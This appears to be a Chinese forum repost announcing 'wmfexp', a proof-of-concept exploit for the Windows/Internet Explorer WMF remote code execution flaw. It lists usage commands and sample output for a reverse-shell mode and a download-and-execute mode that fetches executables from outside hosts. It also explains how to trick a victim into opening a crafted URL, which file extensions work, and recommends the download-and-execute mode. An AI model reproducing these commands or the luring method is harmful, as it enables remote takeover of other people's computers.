注册
登录
| 关键词： 192.168 端口 1.111 8080 WMF 程序 P.O.C connection http wmfexp |
C版的了，程序运行帮助如下： QUOTE: Microsoft Windows / Internet Explorer WMF Remote Code Execution Exploit P.O.C VERSION codez by superlone@EST Usage: wmfexp shell type <====> 1: <====> e.g: wmfexp 1 192.168.1.111 8080 192.168.1.111 1314 shell type <====> 2: <====> e.g: wmfexp 2 192.168.1.111 8080 http://www.eviloctal.com/superlone.exe ^_^ SHOW my love to LiuHui,for EVER and EVER!!!! 一看就明白的，不用我多说了吧？反向溢出的实例如下： QUOTE: E:\temp\Release>wmfexp 1 192.168.1.111 8080 192.168.1.111 1314 Microsoft Windows / Internet Explorer WMF Remote Code Execution Exploit P.O.C VERSION written by superlone@EST ^_^MY love goes to my wife for EVER and EVER ^_^binding 192.168.1.111 on port 8080 with socket ...DONE! ^_^waiting for connection of ANY.WMF request ...GOT IT! ^_^connection received from 192.168.1.3 on port 42249 ^_^generating payload ...DONE! ^_^sending crafted data to the remote host 192.168.1.3 ...DONE! ^_^do i work well?-) 结果看附图。 下载执行的实例如下： QUOTE: E:\temp\Release>wmfexp 2 192.168.1.111 8080 http://www.huibian.com/wmf/wmf.exe Microsoft Windows / Internet Explorer WMF Remote Code Execution Exploit P.O.C VERSION written by superlone@EST ^_^MY love goes to my wife for EVER and EVER ^_^binding 192.168.1.111 on port 8080 with socket ...DONE! ^_^waiting for connection of ANY.WMF request ...GOT IT! ^_^connection received from 192.168.1.3 on port 43529 ^_^generating payload ...DONE! ^_^sending crafted data to the remote host 192.168.1.3 ...DONE! ^_^do i work well?-) 结果如附图。。。 由于是POC版所以我没有优化shellcode，等过些时日公布出代码后大家可以自行更改！！！ PS： 我在sp2上也是测试成功的，不知道你们知道测试方法不？8080端口是本地绑定的端口，伪装成http server的，如果这个端口已经有程序占用程序就会出现“...*_* error:bind operation fail ed”，没使用端口复用。。。 另外这个漏洞程序的利用是不是还有很多朋友不明白啊，当程序出现“^_^waiting for connection of ANY.WMF request ...”时，说明exploit已经成功运行并已经监听在你设置的端口上了（比如8080），这个时候需要你发挥你的想像力想办法让对方在IE中访问你的URL，不知道你的url吗？怪我忘了跟大家说了，如果对方访问这样的url： http://你的IP：你监听的端口/any.wmf 就会中招，其中你的IP不用说了吧？外网使用的话肯定要有公网IP的。。。。你监听的端口就是伪装的http server的端口，在例子中是8080端口。any.wmf是任意的文件，随便你写吧，但后缀必须是以下中的一个： dib emf wmf bmp tiff 比如这样的url： http://192.168.1.111:8080/mylove.webp 只要有漏洞的主机用IE打开上面的这个URL就会中标了。。。。另外，我上面测试有个windows按钮专家的截图，那个就是在xp sp1的机器上访问我的url后成功下载执行的。。。 明白了吗？我的程序提供了反向连接和下载执行两个功能，推荐你使用下载执行。。。为什么？你丫找抽～～～ 再要说明，发布的这个程序是P.O.C版本，因此没有对http请求包进行分析，比如判断目标机器是不是xp以上的系统等等。。。需要源代码的可以找我要，或者过几天就公布了。。。 还不明白的我就没办法了，虎子说我的语言表达能力很强的。。。。 注意：测试url后使用的后缀名只可以是以下几个中的一个： dib emf wmf bmp tiff |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
